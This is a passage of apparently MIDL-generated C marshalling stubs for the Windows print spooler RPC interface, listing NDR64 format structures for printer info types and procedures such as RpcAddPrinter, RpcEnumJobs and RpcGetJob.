       /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 40 /* 0x28 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 48 /* 0x30 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 64 /* 0x40 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 72 /* 0x48 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 80 /* 0x50 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 88 /* 0x58 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag122_t __midl_frag122 =\n{ \n/* *PRINTER_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag123\n};\n\nstatic const __midl_frag121_t __midl_frag121 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    }\n};\n\nstatic const __midl_frag117_t __midl_frag117 =\n{ \n/* PRINTER_INFO_1 */\n    { \n    /* PRINTER_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag121,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag116_t __midl_frag116 =\n{ \n/* *PRINTER_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag117\n};\n\nstatic const __midl_frag113_t __midl_frag113 =\n{ \n/* PRINTER_INFO_STRESS */\n    { \n    /* PRINTER_INFO_STRESS */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_STRESS */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 136 /* 0x88 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag112_t __midl_frag112 =\n{ \n/* *PRINTER_INFO_STRESS */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag110_t __midl_frag110 =\n{ \n/* __MIDL_winspool_0009 */\n    { \n    /* __MIDL_winspool_0009 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag112,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag116,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag122,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag152,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag137,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag141,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag145,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 7 /* 0x7 */,\n        &__midl_frag147,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag152,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 9 /* 0x9 */,\n        &__midl_frag152,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag109_t __midl_frag109 =\n{ \n/* PRINTER_CONTAINER */\n    { \n    /* PRINTER_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag110\n        },\n        { \n        /* PRINTER_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag105_t __midl_frag105 =\n{ \n/* RpcAddPrinter */\n    { \n    /* RpcAddPrinter */      /* procedure RpcAddPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag109,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag156,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag677,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag406,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag97_t __midl_frag97 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag96_t __midl_frag96 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag97\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag95_t __midl_frag95 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag96\n};\n\nstatic const __midl_frag90_t __midl_frag90 =\n{ \n/* RpcEnumJobs */\n    { \n    /* RpcEnumJobs */      /* procedure RpcEnumJobs */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 9 /* 0x9 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* FirstJob */      /* parameter FirstJob */\n        &__midl_frag406,\n        { \n        /* FirstJob */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NoJobs */      /* parameter NoJobs */\n        &__midl_frag406,\n        { \n        /* NoJobs */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag406,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pJob */      /* parameter pJob */\n        &__midl_frag95,\n        { \n        /* pJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag403,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag78_t __midl_frag78 =\n{ \n/* RpcGetJob */\n    { \n    /* RpcGetJob */      /* procedure RpcGetJob */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag406,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag406,\n        { \n        /* Level */\n            0,\n            0,\n            